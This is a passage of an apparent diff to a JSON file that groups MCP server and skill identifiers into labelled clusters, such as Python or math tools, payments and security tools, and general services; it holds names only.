"mcp-server:runescape-wiki", + "mcp-server:sage", + "mcp-server:second-brain", + "mcp-server:semantic-memory-system", + "mcp-server:sequential-story", + "mcp-server:sequential-thinking", + "mcp-server:sequential-thinking-lp-solver", + "mcp-server:sequential-thinking-multi-agent-system", + "mcp-server:sequential-thinking-tools", + "mcp-server:sequential-thinking-ultra", + "mcp-server:session-cache", + "mcp-server:shackle-memory", + "mcp-server:shannon-thinking-problem-solving", + "mcp-server:shared-knowledge-rag", + "mcp-server:shelby", + "mcp-server:shodh-memory", + "mcp-server:simple-memory-extension", + "mcp-server:skald-labs-knowledge-base", + "mcp-server:smallest-ai-knowledge-base", + "mcp-server:smart-thinking", + "mcp-server:smartmemory", + "mcp-server:smriti", + "mcp-server:snowflake-cortex-ai", + "mcp-server:sovant", + "mcp-server:sparkvibe-memorymesh", + "mcp-server:sqlite-memory", + "mcp-server:stellar-memory", + "mcp-server:stern-philosophical-mentor", + "mcp-server:stochastic-thinking", + "mcp-server:stompy", + "mcp-server:structured-memory", + "mcp-server:structured-thinking", + "mcp-server:student-knowledge-graph", + "mcp-server:studiomeyer-memory", + "mcp-server:subconscious-ai", + "mcp-server:subgraph-registry", + "mcp-server:substrate", + "mcp-server:suma-memory", + "mcp-server:superlocalmemory", + "mcp-server:supermemory", + "mcp-server:sutra", + "mcp-server:task-graph", + "mcp-server:taskmem", + "mcp-server:team-memory", + "mcp-server:temporal-knowledge-graph", + "mcp-server:tencent-lexiang", + "mcp-server:the-graph", + "mcp-server:themeparks-wiki", + "mcp-server:think", + "mcp-server:think-tank-knowledge-graph-reasoning", + "mcp-server:think-tool", + "mcp-server:thinkgate", + "mcp-server:thinking", + "mcp-server:thinking-tool", + "mcp-server:threadbridge", + "mcp-server:thronglets", + "mcp-server:titan-memory", + "mcp-server:tooloracle-meme", + "mcp-server:tractatus-thinking", + "mcp-server:tribal-error-knowledge-base", + "mcp-server:tycana", + "mcp-server:ultimate-brain", + "mcp-server:unconventional-thinking", + "mcp-server:understanding-graph", + "mcp-server:valyu-knowledge-retrieval", + "mcp-server:vector-memory", + "mcp-server:velixar-memory", + "mcp-server:verified-repo-memory", + "mcp-server:vestige", + "mcp-server:vlei-wiki", + "mcp-server:volatility-3-memory-forensics", + "mcp-server:volatility3", + "mcp-server:volcengine-knowledge-base", + "mcp-server:waggle-memory", + "mcp-server:wiki-agent", + "mcp-server:wiki-js", + "mcp-server:wiki-knowledge-base", + "mcp-server:wisdomgraph", + "mcp-server:xtended", + "mcp-server:yandex-wiki", + "mcp-server:yantrikdb", + "mcp-server:yourmemory", + "mcp-server:zikkaron", + "skill:memory-systems", + "skill:networkx", + "skill:social-graph-ranker" + ] + }, + "19": { + "label": "Community + Official + Python", + "members": [ + "mcp-server:arithmetic", + "mcp-server:axiomatic-prover", + "mcp-server:calculator", + "mcp-server:calculator-by-cyanheads", + "mcp-server:chestniy-znak", + "mcp-server:chestnyi-znak", + "mcp-server:coin-daemon-zcash", + "mcp-server:discrete-structures", + "mcp-server:evolvemcp", + "mcp-server:fermat-mathematical-computing", + "mcp-server:foundry-zksync", + "mcp-server:jij-mathematical-and-quantum-computing-platform", + "mcp-server:latex-mathml", + "mcp-server:math", + "mcp-server:math-js", + "mcp-server:math-learning", + "mcp-server:math-logic", + "mcp-server:math-operations", + "mcp-server:math-svg", + "mcp-server:math-utilities", + "mcp-server:mathtalking", + "mcp-server:mrp-calculator", + "mcp-server:newton", + "mcp-server:number-theory", + "mcp-server:numpy", + "mcp-server:penrose", + "mcp-server:pokemon-vgc-damage-calculator", + "mcp-server:poker-win-calculator", + "mcp-server:psianimator", + "mcp-server:q-ring-by-i4ctime", + "mcp-server:qching", + "mcp-server:qiskit", + "mcp-server:qiskit-daedalus", + "mcp-server:quantum", + "mcp-server:quantum-simulator", + "mcp-server:qubitsok", + "mcp-server:rpn-calculator", + "mcp-server:sagemath", + "mcp-server:spinq-quantum-computing", + "mcp-server:sympy", + "mcp-server:sympy-calculator", + "mcp-server:ten-algebra", + "mcp-server:z3-prover", + "mcp-server:zabbix", + "mcp-server:zbd-payments", + "mcp-server:zcash", + "mcp-server:zen", + "mcp-server:zen-syllabus-educational-curriculum-explorer", + "mcp-server:zenable", + "mcp-server:zendesk", + "mcp-server:zenlink", + "mcp-server:zenml", + "mcp-server:zenmoney", + "mcp-server:zenn", + "mcp-server:zenquotes", + "mcp-server:zentao", + "mcp-server:zenvia", + "mcp-server:zig", + "mcp-server:zigpoll", + "mcp-server:zine", + "mcp-server:zkproof", + "mcp-server:zmanim", + "mcp-server:zmq-daedalus", + "mcp-server:zoho-cli", + "mcp-server:zoho-creator", + "mcp-server:zoho-crm", + "mcp-server:zoho-projects", + "mcp-server:zomato", + "mcp-server:zotero", + "mcp-server:zotero-library", + "mcp-server:zotero-neo", + "mcp-server:zotero-plugin-dev", + "mcp-server:zoty-zotero", + "mcp-server:zsv", + "mcp-server:zulip", + "mcp-server:zulook", + "skill:cirq", + "skill:qiskit", + "skill:sympy" + ] + }, + "20": { + "label": "Community + Official + Stripe", + "members": [ + "mcp-server:402", + "mcp-server:402-index", + "mcp-server:a11y", + "mcp-server:a2a-router", + "mcp-server:a2asearch", + "mcp-server:a2atlassian", + "mcp-server:abuse-ch", + "mcp-server:accessibility-scanner", + "mcp-server:acm-68000", + "mcp-server:action-guard", + "mcp-server:actiongate", + "mcp-server:actual-budget", + "mcp-server:aegis", + "mcp-server:agency", + "mcp-server:agent-blueprint", + "mcp-server:agent-bom", + "mcp-server:agent-church", + "mcp-server:agent-comm", + "mcp-server:agent-evidence", + "mcp-server:agent-guardrail", + "mcp-server:agent-guardrails", + "mcp-server:agent-immune", + "mcp-server:agent-infra", + "mcp-server:agent-interviews", + "mcp-server:agent-module", + "mcp-server:agent-mux", + "mcp-server:agent-never-give-up", + "mcp-server:agent-onsen-retreat", + "mcp-server:agent-output-guard", + "mcp-server:agent-passport", + "mcp-server:agent-pocket", + "mcp-server:agent-receipts", + "mcp-server:agent-safe", + "mcp-server:agent-signal", + "mcp-server:agent-tasks", + "mcp-server:agent-trust-by-raditotev", + "mcp-server:agent-vm", + "mcp-server:agentaeo", + "mcp-server:agentanycast", + "mcp-server:agentbay", + "mcp-server:agentbazaar", + "mcp-server:agentbridge", + "mcp-server:agentbrowser", + "mcp-server:agentcraft", + "mcp-server:agentdata", + "mcp-server:agentdeals", + "mcp-server:agentdilemma", + "mcp-server:agentdm", + "mcp-server:agenteval-julia", + "mcp-server:agentexec", + "mcp-server:agentfolio", + "mcp-server:agentforge", + "mcp-server:agentgrade", + "mcp-server:agentgraph-trust", + "mcp-server:agentguard47", + "mcp-server:agenthive", + "mcp-server:agenthold", + "mcp-server:agenthub", + "mcp-server:agenticorg", + "mcp-server:agenticstore", + "mcp-server:agentictrade", + "mcp-server:agentkit-chargebee", + "mcp-server:agentlair", + "mcp-server:agentlookup", + "mcp-server:agentlux", + "mcp-server:agentmem", + "mcp-server:agentmode", + "mcp-server:agentops", + "mcp-server:agentos", + "mcp-server:agentpay", + "mcp-server:agentpedia", + "mcp-server:agentq", + "mcp-server:agentql", + "mcp-server:agentra", + "mcp-server:agentrace", + "mcp-server:agentrpc", + "mcp-server:agentry-agent-directory", + "mcp-server:agentshield", + "mcp-server:agentshield-guard", + "mcp-server:agentskb", + "mcp-server:agentskin", + "mcp-server:agentstamp", + "mcp-server:agenttrust", + "mcp-server:agentutil-norm", + "mcp-server:agentutil-think", + "mcp-server:agentutil-undo", + "mcp-server:agentutil-verify", + "mcp-server:agentview", + "mcp-server:agentwork", + "mcp-server:agnicpay", + "mcp-server:agora402", + "mcp-server:agoragentic", + "mcp-server:aguara", + "mcp-server:ai-scanner-by-aakashbhardwaj27", + "mcp-server:ai-visibility-scanner", + "mcp-server:aichat", + "mcp-server:aikido", + "mcp-server:aim-guard", + "mcp-server:aipaygen", + "mcp-server:alter", + "mcp-server:anroagents", + "mcp-server:ansvar-automotive-cybersecurity", + "mcp-server:ansvar-ot-security", + "mcp-server:anti-bs", + "mcp-server:antrieb", + "mcp-server:antseer", + "mcp-server:anubis", + "mcp-server:anvx", + "mcp-server:ap2", + "mcp-server:apiiro-guardian", + "mcp-server:apix420", + "mcp-server:apk-security-guard-suite", + "mcp-server:arbitova", + "mcp-server:arcagent", + "mcp-server:archangel-agency", + "mcp-server:arifos", + "mcp-server:artillery", + "mcp-server:assay", + "mcp-server:astracipher", + "mcp-server:atolls-cashback", + "mcp-server:attest", + "mcp-server:attestix", + "mcp-server:aws-security-inspector", + "mcp-server:axe-accessibility", + "mcp-server:babelwrap", + "mcp-server:banco-inter", + "mcp-server:bankless-onchain", + "mcp-server:bankregpulse", + "mcp-server:banksync", + "mcp-server:barcode-scanner", + "mcp-server:base-security-scanner", + "mcp-server:bicscan", + "mcp-server:bighub", + "mcp-server:bitatlas", + "mcp-server:bitcoin-price-tracker", + "mcp-server:bizangafest-penetration-testing", + "mcp-server:bizgigz-agent-marketplace", + "mcp-server:bizplanner", + "mcp-server:blindpay", + "mcp-server:blitz", + "mcp-server:blueguard", + "mcp-server:boltwork", + "mcp-server:boltzpay", + "mcp-server:boostedtravel", + "mcp-server:boostsecurity", + "mcp-server:bpftrace", + "mcp-server:bray", + "mcp-server:bright-security", + "mcp-server:bstorms", + "mcp-server:bug-detector", + "mcp-server:bugbounty-security-scanner", + "mcp-server:bugcrowd", + "mcp-server:bugfender", + "mcp-server:bulwark", + "mcp-server:byteray", + "mcp-server:cachebash", + "mcp-server:can-tap-verified", + "mcp-server:canuckduck-canadian-policy", + "mcp-server:cardano", + "mcp-server:cash-flow-frog", + "mcp-server:cashfree", + "mcp-server:cashpilot", + "mcp-server:certifier", + "mcp-server:chainanalyzer", + "mcp-server:chainvault-stultusmundi", + "mcp-server:cielo", + "mcp-server:cipher", + "mcp-server:circle", + "mcp-server:claimhit", + "mcp-server:clamav-virus-scanner", + "mcp-server:clawdpay", + "mcp-server:clawpay", + "mcp-server:clawphunks", + "mcp-server:clawriver", + "mcp-server:clawvault", + "mcp-server:clawwork", + "mcp-server:cloaked", + "mcp-server:cloudpayments", + "mcp-server:cmdb-cve", + "mcp-server:command-security-layer", + "mcp-server:conceal", + "mcp-server:concilium", + "mcp-server:conekta", + "mcp-server:contract-scanner", + "mcp-server:contrastcyber", + "mcp-server:controlkeel", + "mcp-server:cordon", + "mcp-server:correkt", + "mcp-server:cost-tracker-router", + "mcp-server:counterparty", + "mcp-server:coverageunlocked", + "mcp-server:craftedtrust", + "mcp-server:creditsync", + "mcp-server:ctfd", + "mcp-server:cueapi", + "mcp-server:cve", + "mcp-server:cyber-sentinel", + "mcp-server:cyberbro", + "mcp-server:cyberchef", + "mcp-server:cyberedu", + "mcp-server:cyberlens", + "mcp-server:cybermcp-api-security-testing", + "mcp-server:cybersim-pro", + "mcp-server:cycode-security-scanner", + "mcp-server:cyntrisec", + "mcp-server:daraja", + "mcp-server:debank", + "mcp-server:debtstack-ai", + "mcp-server:decision-anchor", + "mcp-server:deepidv", + "mcp-server:deepmiro", + "mcp-server:defectdojo", + "mcp-server:defense-com", + "mcp-server:delega", + "mcp-server:depshield", + "mcp-server:devici", + "mcp-server:dingdawg-governance", + "mcp-server:directping-escrow", + "mcp-server:dodo-payments", + "mcp-server:dominion-observatory", + "mcp-server:drain", + "mcp-server:dust", + "mcp-server:ebanx", + "mcp-server:ebenova-scope-guard", + "mcp-server:ecshopx-ai", + "mcp-server:edict", + "mcp-server:emba-firmware-security-analyzer", + "mcp-server:enigma", + "mcp-server:enkryptai", + "mcp-server:envcp", + "mcp-server:eu-ai-act", + "mcp-server:eu-ai-act-compliance-scanner", + "mcp-server:evalview", + "mcp-server:evidra", + "mcp-server:exa-ai-security-scanner", + "mcp-server:expense-tracker", + "mcp-server:expenselm", + "mcp-server:exploit-db", + "mcp-server:exploitdb", + "mcp-server:exposureguard", + "mcp-server:fdic-bankfind", + "mcp-server:feishu-defect-tracker", + "mcp-server:fetter", + "mcp-server:finix-payments", + "mcp-server:fintable", + "mcp-server:flik", + "mcp-server:flowcheck", + "mcp-server:flutterwave", + "mcp-server:flyto-core", + "mcp-server:forage", + "mcp-server:form-io-uag", + "mcp-server:fortytwo-prime", + "mcp-server:foxhound", + "mcp-server:freeagent", + "mcp-server:freshbooks", + "mcp-server:fullrun", + "mcp-server:gas-estimator", + "mcp-server:gatherings-expense-sharing", + "mcp-server:gdpr-scanner", + "mcp-server:geiant-agentcore", + "mcp-server:gemot", + "mcp-server:gentoro", + "mcp-server:getcurrentoffer", + "mcp-server:ghidra", + "mcp-server:ghidramcp", + "mcp-server:ghidrassist-ghidra", + "mcp-server:ghost-security", + "mcp-server:ghostfree", + "mcp-server:gia-governance", + "mcp-server:gildara", + "mcp-server:giskard-argentum", + "mcp-server:giskard-oasis", + "mcp-server:gjalla", + "mcp-server:gnucash-bindings", + "mcp-server:grantex", + "mcp-server:grasp", + "mcp-server:greynoise", + "mcp-server:grid", + "mcp-server:gridwork-ai-act", + "mcp-server:groundtruth", + "mcp-server:group-protection", + "mcp-server:guarded", + "mcp-server:guardian-osv-security-scanner", + "mcp-server:guardianshield", + "mcp-server:guardlink", + "mcp-server:guardrly", + "mcp-server:guardvibe", + "mcp-server:hackermcp-penetration-testing-tools", + "mcp-server:hackthebox", + "mcp-server:haldir", + "mcp-server:hashnet", + "mcp-server:have-i-been-pwned", + "mcp-server:hebline", + "mcp-server:heor-agent", + "mcp-server:historis", + "mcp-server:hive", + "mcp-server:hive-compute", + "mcp-server:hive-doctrine", + "mcp-server:hive-execute", + "mcp-server:hivebank", + "mcp-server:hiveclaude", + "mcp-server:hiveclear", + "mcp-server:hiveconsciousness", + "mcp-server:hiveecho", + "mcp-server:hiveflow", + "mcp-server:hiveforge", + "mcp-server:hivegate", + "mcp-server:hivelaw", + "mcp-server:hivemind", + "mcp-server:hivepulse", + "mcp-server:hivetrust", + "mcp-server:honeypot-detector", + "mcp-server:hostatlas", + "mcp-server:hound", + "mcp-server:hrevn", + "mcp-server:httpayer", + "mcp-server:huntkit", + "mcp-server:immunefi", + "mcp-server:incode", + "mcp-server:incrediblefi", + "mcp-server:inflow", + "mcp-server:inkog", + "mcp-server:instadomain", + "mcp-server:instxnt", + "mcp-server:integritypulse-finops", + "mcp-server:invapi-e-invoicing", + "mcp-server:invoice-pilot", + "mcp-server:invoiceflow", + "mcp-server:invoicetronic", + "mcp-server:invok-it", + "mcp-server:iris-eval", + "mcp-server:iugu", + "mcp-server:iyzico", + "mcp-server:janee", + "mcp-server:jfk-assassination-documents", + "mcp-server:kali-linux", + "mcp-server:kali-linux-hannes221", + "mcp-server:kali-linux-penetration-testing", + "mcp-server:kali-linux-penetration-testing-tools", + "mcp-server:kali-linux-security-tools", + "mcp-server:kali-linux-toolkit", + "mcp-server:kali-linux-tools", + "mcp-server:kali-security-tools", + "mcp-server:kanta", + "mcp-server:kiwiclaw", + "mcp-server:knowmint", + "mcp-server:krystalview", + "mcp-server:lassare", + "mcp-server:last9-observability", + "mcp-server:lawmadi-os", + "mcp-server:leakcanary", + "mcp-server:legacy-shield", + "mcp-server:lex", + "mcp-server:lighthouse-portfolio-tracker", + "mcp-server:lika-rika-budget", + "mcp-server:lilo-property", + "mcp-server:linear-issue-tracker", + "mcp-server:lingxi", + "mcp-server:linux-admin", + "mcp-server:lithic", + "mcp-server:loanpro", + "mcp-server:local-expense-tracker", + "mcp-server:lumen-jfr-forensics", + "mcp-server:lunch-money", + "mcp-server:machine-hearts", + "mcp-server:maximumsats", + "mcp-server:mbbank", + "mcp-server:mcpampel", + "mcp-server:mcpd-linux", + "mcp-server:mcphammer", + "mcp-server:mcpm", + "mcp-server:mcpshield", + "mcp-server:mcpvault", + "mcp-server:mcpwall", + "mcp-server:mcpwatch", + "mcp-server:mcpwner", + "mcp-server:mercado-pago", + "mcp-server:mercadopago", + "mcp-server:metacomp-visionx", + "mcp-server:metrxbot", + "mcp-server:microsoft-defender-kql", + "mcp-server:microsoft-security-copilot", + "mcp-server:middlebrick", + "mcp-server:mifactory-payments", + "mcp-server:mist-cash", + "mcp-server:mitre-att-ck", + "mcp-server:mitto", + "mcp-server:mobsf", + "mcp-server:molt2meet", + "mcp-server:moltalyzer", + "mcp-server:monarch-money", + "mcp-server:moneroo", + "mcp-server:money-parsons", + "mcp-server:moneybird", + "mcp-server:moneyflow", + "mcp-server:moneywiz", + "mcp-server:monobank", + "mcp-server:monzo", + "mcp-server:mund", + "mcp-server:nanocrawl", + "mcp-server:negotiated-rates", + "mcp-server:newebpay", + "mcp-server:nexflow-smf", + "mcp-server:nmap-network-scanner", + "mcp-server:nmap-scanner", + "mcp-server:noderail", + "mcp-server:nosana-agent", + "mcp-server:notebooklm-secure", + "mcp-server:noteit", + "mcp-server:nothumanallowed", + "mcp-server:novamira", + "mcp-server:now-presso-presso", + "mcp-server:ntropy", + "mcp-server:nubank", + "mcp-server:nuclei", + "mcp-server:nuget", + "mcp-server:nullpath-marketplace", + "mcp-server:nutrition-tracker", + "mcp-server:nvd", + "mcp-server:oasyce", + "mcp-server:offensive-security-toolkit", + "mcp-server:omni-scanner", + "mcp-server:openakashic", + "mcp-server:orchestraprime", + "mcp-server:organizze", + "mcp-server:osint", + "mcp-server:osmp", + "mcp-server:osv-dev-security-analyzer", + "mcp-server:osv-scanner", + "mcp-server:outris-identity", + "mcp-server:owasp-zap", + "mcp-server:ows-mesh", + "mcp-server:p402", + "mcp-server:packmind", + "mcp-server:paddle-billing", + "mcp-server:pagar-me", + "mcp-server:pageguard", + "mcp-server:pangea", + "mcp-server:parceled", + "mcp-server:password-strength", + "mcp-server:path402", + "mcp-server:pay-skill", + "mcp-server:paybyrd-payment-processing", + "mcp-server:paybysquare", + "mcp-server:payclaw", + "mcp-server:payclaw-badge", + "mcp-server:payfast", + "mcp-server:paylocity", + "mcp-server:payman", + "mcp-server:payman-ai", + "mcp-server:paypal", + "mcp-server:paypal-account-updater", + "mcp-server:paypal-agent-toolkit", + "mcp-server:personal-expense-tracker", + "mcp-server:personal-health-tracker", + "mcp-server:pex-card", + "mcp-server:picoads", + "mcp-server:pii-detector", + "mcp-server:pii-redactor", + "mcp-server:pincer", + "mcp-server:pinchwork", + "mcp-server:pipelock", + "mcp-server:piqrypt", + "mcp-server:pix-bcb", + "mcp-server:pk-agentic", + "mcp-server:plaid", + "mcp-server:pluggy", + "mcp-server:pop-pay", + "mcp-server:port-scanner", + "mcp-server:praesidio", + "mcp-server:praisonai", + "mcp-server:preclick", + "mcp-server:prior", + "mcp-server:prism-scanner", + "mcp-server:privacyguard", + "mcp-server:proof-of-commitment", + "mcp-server:proofly-deepfake-detection", + "mcp-server:proofslip", + "mcp-server:provenonce", + "mcp-server:pseudonym", + "mcp-server:pubrio", + "mcp-server:push-realm", + "mcp-server:pyghidra-lite", + "mcp-server:pyxel", + "mcp-server:qonto-banking", + "mcp-server:quarkus-agent", + "mcp-server:radare2", + "mcp-server:ramp", + "mcp-server:razorpay", + "mcp-server:redact", + "mcp-server:redux", + "mcp-server:relentless-identity", + "mcp-server:remote-expense-tracker", + "mcp-server:request-tracker-by-crunchtools", + "mcp-server:reverse-centaur", + "mcp-server:revettr", + "mcp-server:rillcoin", + "mcp-server:roblox-datastore", + "mcp-server:robokassa", + "mcp-server:root-signals-evaluators", + "mcp-server:runreveal", + "mcp-server:safedep-vet", + "mcp-server:safetyculture", + "mcp-server:santa-binary-authorization", + "mcp-server:sast-sca-sbom-security-analyzer", + "mcp-server:sats4ai", + "mcp-server:sberbank", + "mcp-server:sbomapp", + "mcp-server:scanmalware", + "mcp-server:schemaguard", + "mcp-server:schwab", + "mcp-server:scopeblind", + "mcp-server:scopegate", + "mcp-server:sdlc-tracker", + "mcp-server:secure-privacy", + "mcp-server:security-advisory", + "mcp-server:security-audit", + "mcp-server:security-detections", + "mcp-server:security-infrastructure", + "mcp-server:security-orchestra", + "mcp-server:security-scanner", + "mcp-server:security-tools-bridge", + "mcp-server:security-tools-suite", + "mcp-server:selvo-cve-scanner", + "mcp-server:semgrep", + "mcp-server:sentinel-dv", + "mcp-server:sentinelgate", + "mcp-server:sentrik", + "mcp-server:servicepal", + "mcp-server:settlegrid", + "mcp-server:settlementwitness", + "mcp-server:shellward", + "mcp-server:sheriff", + "mcp-server:sherlock", + "mcp-server:shieldops", + "mcp-server:shift", + "mcp-server:shippost", + "mcp-server:shrike-security", + "mcp-server:sicks3c-hackerone", + "mcp-server:sidearm-drm", + "mcp-server:signet", + "mcp-server:signforge", + "mcp-server:sinewave-agent-security-scanner", + "mcp-server:siteproof-by-deveras", + "mcp-server:skillnet", + "mcp-server:skillssafe", + "mcp-server:skvil", + "mcp-server:skylos", + "mcp-server:slashr", + "mcp-server:slop-guard", + "mcp-server:snyk", + "mcp-server:socket-security", + "mcp-server:solentic", + "mcp-server:sooda", + "mcp-server:soul-md-agent-identity", + "mcp-server:spamassassin", + "mcp-server:spawnpay", + "mcp-server:spendlog", + "mcp-server:spendnod", + "mcp-server:spherepay", + "mcp-server:splitwise", + "mcp-server:stackhawk", + "mcp-server:statecli", + "mcp-server:stealthis", + "mcp-server:stealthsurf", + "mcp-server:stone", + "mcp-server:strale", + "mcp-server:stripe", + "mcp-server:stripe-acp", + "mcp-server:stumpy", + "mcp-server:stunt-double", + "mcp-server:subfeed", + "mcp-server:suprawall", + "mcp-server:swarm-at", + "mcp-server:swarm-tips", + "mcp-server:syenite", + "mcp-server:syke", + "mcp-server:symbiotic-security", + "mcp-server:syndicate-links", + "mcp-server:t-kassa", + "mcp-server:t2000", + "mcp-server:talon", + "mcp-server:teamtailor", + "mcp-server:templonix-lite", + "mcp-server:temporal-cortex", + "mcp-server:tethral-acr", + "mcp-server:the-colony", + "mcp-server:the402", + "mcp-server:theprotocol", + "mcp-server:theyahia-yookassa", + "mcp-server:thinkneo", + "mcp-server:thornguard", + "mcp-server:thousandeyes", + "mcp-server:threadline", + "mcp-server:threat-intel", + "mcp-server:threat-zone", + "mcp-server:thu-agent", + "mcp-server:tip4serv", + "mcp-server:tle-satellite-tracker", + "mcp-server:toolfi", + "mcp-server:toolpipe", + "mcp-server:tooltrust-scanner", + "mcp-server:tornado-cash", + "mcp-server:trackly", + "mcp-server:trackor", + "mcp-server:traktamente-swedish-travel-expenses", + "mcp-server:transaction-categorizer", + "mcp-server:treza-enclaves", + "mcp-server:trivy-security-scanner", + "mcp-server:trustify", + "mcp-server:truthifi", + "mcp-server:tuteliq", + "mcp-server:ucm", + "mcp-server:unclick", + "mcp-server:uncorreotemporal", + "mcp-server:up-banking", + "mcp-server:utils-for-agents", + "mcp-server:vantagate", + "mcp-server:vectordecisions", + "mcp-server:verifimind-peas", + "mcp-server:verity-score", + "mcp-server:vigile", + "mcp-server:virustotal", + "mcp-server:visa-acceptance", + "mcp-server:viso-trust", + "mcp-server:visus", + "mcp-server:vivid-money", + "mcp-server:vnpay", + "mcp-server:vorim", + "mcp-server:vulnebify", + "mcp-server:vulners", + "mcp-server:vulnicheck", + "mcp-server:waggle", + "mcp-server:wass", + "mcp-server:watchdog", + "mcp-server:web-security-scanner", + "mcp-server:web-vulnerabilities-scanner", + "mcp-server:web3auth", + "mcp-server:whale-tracker", + "mcp-server:wick", + "mcp-server:wompi", + "mcp-server:writbase", + "mcp-server:wxo-agent", + "mcp-server:x402search", + "mcp-server:xap", + "mcp-server:xenarch-agent", + "mcp-server:xpay", + "mcp-server:xportalx", + "mcp-server:xproof", + "mcp-server:yandex-tracker", + "mcp-server:yaraflux", + "mcp-server:yault-aesp", + "mcp-server:ynab", + "mcp-server:yoco", + "mcp-server:z-zero-ai-agent-payments", + "mcp-server:zarinpal", + "mcp-server:zebbern-kali", + "mcp-server:zeropath", + "mcp-server:zoogent", + "mcp-server:zoop", + "skill:stripe-error-mapping" + ] + }, + "21": { + "label": "Community + Official + Session", + "members": [ + "mcp-server:0nmcp", + "mcp-server:123elec", + "mcp-server:1c-edt", + "mcp-server:1mcpserver", + "mcp-server:1panel", + "mcp-server:1password", + "mcp-server:1stay-by-stayker", + "mcp-server:1stdibs", + "mcp-server:2slides", + "mcp-server:3gpp-specifications", + "mcp-server:4get", + "mcp-server:8th-wall", + "mcp-server:a-christmas-carol", + "mcp-server:a2amcp", + "mcp-server:a2db", + "mcp-server:aapanel", + "mcp-server:ab-ovo", + "mcp-server:abraflexi", + "mcp-server:acma-radiocommunications-licence-register", + "mcp-server:acrolinx-nextgen", + "mcp-server:actionspulse", + "mcp-server:activepieces", + "mcp-server:acumatica-cdata", + "mcp-server:acurast", + "mcp-server:ada", + "mcp-server:addtaskmanager", + "mcp-server:aderyn", + "mcp-server:adguard-home", + "mcp-server:adif", + "mcp-server:adjust", + "mcp-server:advice-slip", + "mcp-server:advocu", + "mcp-server:aem", + "mcp-server:affine", + "mcp-server:afl", + "mcp-server:agendum", + "mcp-server:agenium", + "mcp-server:agent-arcade", + "mcp-server:agent2models", + "mcp-server:agentbase", + "mcp-server:agentrank", + "mcp-server:agify", + "mcp-server:agileday", + "mcp-server:agnt", + "mcp-server:agrobr", + "mcp-server:ahrefs", + "mcp-server:ai-dossier", + "mcp-server:ai-erd", + "mcp-server:ai-humanizer", + "mcp-server:ai-news", + "mcp-server:ai-pair-programmer", + "mcp-server:ai-sessions", + "mcp-server:ai-switch", + "mcp-server:aibtc", + "mcp-server:aidderall", + "mcp-server:aider", + "mcp-server:aidocx", + "mcp-server:aifp", + "mcp-server:ailist", + "mcp-server:aionmcp", + "mcp-server:aipaygent", + "mcp-server:aiquila", + "mcp-server:airbnb", + "mcp-server:aistatusdashboard", + "mcp-server:aistor", + "mcp-server:aiven", + "mcp-server:alai", + "mcp-server:albacore", + "mcp-server:algolia", + "mcp-server:algorand", + "mcp-server:aliyun-sls", + "mcp-server:aliyun-sls-log-query", + "mcp-server:alkemi", + "mcp-server:allstacks", + "mcp-server:allure-testops", + "mcp-server:alm-x", + "mcp-server:aloha-fyi-hawaii", + "mcp-server:alpic", + "mcp-server:alsoasked", + "mcp-server:altmetric", + "mcp-server:amadeus", + "mcp-server:amadeus-qq", + "mcp-server:ambermd-agent", + "mcp-server:ametyst", + "mcp-server:amocrm", + "mcp-server:amplitude", + "mcp-server:analytical", + "mcp-server:anime-quotes", + "mcp-server:anki", + "mcp-server:anki-cards-clanki", + "mcp-server:anki-flashcards", + "mcp-server:anki-leech-cards", + "mcp-server:ankiconnect", + "mcp-server:annot", + "mcp-server:annotation", + "mcp-server:ansible", + "mcp-server:ansible-tower", + "mcp-server:anybox", + "mcp-server:anyvm", + "mcp-server:apcore", + "mcp-server:apfel", + "mcp-server:api2mcptools", + "mcp-server:apidog-tests", + "mcp-server:apifox", + "mcp-server:apimesh", + "mcp-server:apollo", + "mcp-server:apollo-io", + "mcp-server:appcontrol", + "mcp-server:append-log", + "mcp-server:applitools", + "mcp-server:appsai", + "mcp-server:appsflyer", + "mcp-server:appsignal", + "mcp-server:appwrite", + "mcp-server:aptos", + "mcp-server:arangodb", + "mcp-server:arangodb-async", + "mcp-server:arbitrum", + "mcp-server:arcadedb", + "mcp-server:arcgis-pro", + "mcp-server:archicad", + "mcp-server:architector", + "mcp-server:archy", + "mcp-server:arelle", + "mcp-server:arista-cloudvision", + "mcp-server:arize-phoenix", + "mcp-server:arkheia", + "mcp-server:arm", + "mcp-server:arpe-io", + "mcp-server:arquestra", + "mcp-server:art-institute-of-chicago", + "mcp-server:artefact", + "mcp-server:artidrop", + "mcp-server:artifacthub", + "mcp-server:as-a-judge", + "mcp-server:asaas", + "mcp-server:asana", + "mcp-server:ascii-art", + "mcp-server:asg-card", + "mcp-server:ashfields", + "mcp-server:askr", + "mcp-server:asqu", + "mcp-server:associated-press", + "mcp-server:astra-db", + "mcp-server:astravue", + "mcp-server:astro", + "mcp-server:asymptote-geometry-renderer", + "mcp-server:atest", + "mcp-server:atla", + "mcp-server:atlas", + "mcp-server:atomic-css", + "mcp-server:atplatform", + "mcp-server:attio", + "mcp-server:atv-by-aarna", + "mcp-server:atxp", + "mcp-server:augments", + "mcp-server:aurelianflo", + "mcp-server:aureuserp", + "mcp-server:auth0", + "mcp-server:authentik", + "mcp-server:autobuild", + "mcp-server:autocad", + "mcp-server:autocad-lt-autolisp", + "mcp-server:autodesk-revit", + "mcp-server:autoeq", + "mcp-server:autogui-multinode", + "mcp-server:autohotkey-v2", + "mcp-server:automox", + "mcp-server:autonome", + "mcp-server:autopentest-ai", + "mcp-server:autoresearch", + "mcp-server:autotask-psa", + "mcp-server:autots", + "mcp-server:auxiliar", + "mcp-server:aviationstack", + "mcp-server:avid-mediacentral-ctms", + "mcp-server:await", + "mcp-server:axcess", + "mcp-server:axiom", + "mcp-server:axiomatic-ai", + "mcp-server:ayd", + "mcp-server:b2bware", + "mcp-server:babashka", + "mcp-server:backlinks-ahrefs", + "mcp-server:backlog", + "mcp-server:backstage", + "mcp-server:baidu-baike", + "mcp-server:balladic", + "mcp-server:bamboohr", + "mcp-server:bankruptcy-observer", + "mcp-server:bargainer", + "mcp-server:base64-codec", + "mcp-server:basecamp", + "mcp-server:basehub-forums", + "mcp-server:basicops", + "mcp-server:basilisp-nrepl", + "mcp-server:batchit", + "mcp-server:bazel", + "mcp-server:bazi-astrology", + "mcp-server:bbs", + "mcp-server:bc-k-12-curriculum", + "mcp-server:beanquery-beancount-ledger", + "mcp-server:beans", + "mcp-server:bear", + "mcp-server:beartrail", + "mcp-server:beeminder", + "mcp-server:beget-hosting", + "mcp-server:bernstein", + "mcp-server:betaflight", + "mcp-server:betterprompt", + "mcp-server:bexio", + "mcp-server:bgpt", + "mcp-server:biel", + "mcp-server:bigquery", + "mcp-server:bigrack", + "mcp-server:bilibili", + "mcp-server:bilt", + 